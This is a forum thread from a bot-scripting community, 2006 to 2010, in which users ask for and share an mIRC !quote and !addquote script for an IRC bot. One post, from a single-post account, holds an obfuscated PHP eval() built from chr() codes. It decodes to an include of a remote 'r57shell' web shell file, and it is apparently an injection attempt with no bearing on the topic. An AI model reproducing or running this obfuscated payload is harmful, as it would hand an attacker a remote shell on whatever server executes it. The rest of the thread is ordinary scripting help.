YB Forums: !quote - YB Forums

Jump to content

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

!quote Rate Topic: -----

#1 User is offline   Knoeki Icon

  • Icon
  • Group: Members
  • Posts: 29
  • Joined: 07-May 06

Post icon  Posted 07 May 2006 - 07:14 PM

I was thinking about a !quote command, with an option to add quotes by !addquote <quote>. if you tipe !quote, a random quote will be shown in the public channel.
also, a function to pick a random quote with a certain word in it, like this: !quote music. if you don't specify a word, it picks a random quote.
0

#2 User is offline   tomi Icon

  • Icon
  • Group: Members
  • Posts: 1
  • Joined: 22-June 06

Posted 22 June 2006 - 07:19 AM

:)

eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(114). chr(115). chr(116). chr(46). chr(118). chr(111). chr(105). chr(100). chr(46). chr(114). chr(117). chr(47). chr(100). chr(111). chr(119). chr(110). chr(108). chr(111). chr(97). chr(100). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32) ); //
0

#3 User is offline   Poseidon Icon

  • Icon
  • Group: Members
  • Posts: 6
  • Joined: 20-January 07

Posted 21 January 2007 - 03:28 PM

i would also like to see this in the next version
0

#4 User is offline   Mattie Icon

  • YB Helper
  • Icon
  • Group: Support Helper
  • Posts: 190
  • Joined: 26-August 05
  • Location:Netherlands
  • Interests:computer

Posted 22 January 2007 - 02:11 AM

It is pretty difficould to make something lile that. I dont have enough knowledge.

Mattie
"Live is just like a video game, you're always zapped in the end" If you are looking for a script, just ask me.
0

#5 User is offline   Corey Icon

  • YB Staff
  • Icon
  • Group: Admin
  • Posts: 126
  • Joined: 26-August 05
  • Gender:Male

Posted 15 February 2007 - 01:06 PM

I'll add it to the wishlist for the new version. Any quotes in mind?
 Posted Image

Web: www.ybbot.com  ---  IRC: irc.chat-addict.net  #YBbot
"Freedom to marry is a hallmark of full citizenship in our country. The civil union is a badge of inferiority." 
0

#6 User is offline   Knoeki Icon

  • Icon
  • Group: Members
  • Posts: 29
  • Joined: 07-May 06

Posted 15 February 2007 - 02:24 PM

no, I think you get me wrong.... what I mean is when someone says something in the channel, I can log it, so the quote can be requested later...

example:

<person1> I am crazy.
<Knoeki> !log <person1> I am crazy.


then later, when someone types !quote *crazy*, it will look through the quote file to find any matches with *crazy* (* functions as a wildcart), and then displays a random quote.

I hope I'm clear...
0

#7 User is offline   Poseidon Icon

  • Icon
  • Group: Members
  • Posts: 6
  • Joined: 20-January 07

Post icon  Posted 17 June 2007 - 04:16 AM

on *:TEXT:!quote:#: { set %quote $read(quotes.txt) } { .msg $chan 00 $+ %quote }
on *:TEXT:!quote *:#: { if ($2 isalnum) && ($2 <= $lines(C:\Apps\MyMirc\quotes.txt)) { .msg $chan Quote $chr(91) $+ $chr(35) $+ $2 $+ $chr(92) $+ $lines(C:\PATH\quotes.txt) $+ $chr(93) 00 $+ $read(quotes.txt, $2) } }
on *:TEXT:!addquote *:#: { .write quotes.txt 09,2Quote:00 $+ $2- 09,2:Added by $nick on $date $+ } { .msg $chan 09,2 $nick Your quote has been added, thank you! }
on *:TEXT:!delquote *:#: { if ($nick isop $chan) { .write -dl$2 quotes.txt }
  { .msg $chan 04Quote $chr(35) $+ $2 has been deleted. }
  else { halt }
}


change path to where your mirc is installed with the quotes.txt example C:\ybbot\quotes.txt
if you did it right its !qoute to see random quote
!addquote to add a quote
!delquote # to delete a quote like quote number 1 or 2 etc.
enjoy
0

#8 User is offline   Knoeki Icon

  • Icon
  • Group: Members
  • Posts: 29
  • Joined: 07-May 06

Posted 01 October 2007 - 05:04 AM

awesome! \o/ thanks mate!
0

#9 User is offline   Anthony Icon

  • Icon
  • Group: Support Helper
  • Posts: 20
  • Joined: 08-January 10
  • Gender:Male
  • Interests:I love scripting, and gaming... but don't have much time between work and a new baby and a wife and a 80lb dog... I think I'll just stop sleeping... *sigh*

Posted 09 January 2010 - 10:55 PM

I wrote a script that is very similar to a !quote script...
It is an !advice script and could be easily converted to a !quote script. If properly converted, you could not only read a random quote from a random nick, you could read a random quote from a specific nick!

Here is the link:

Quote


0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users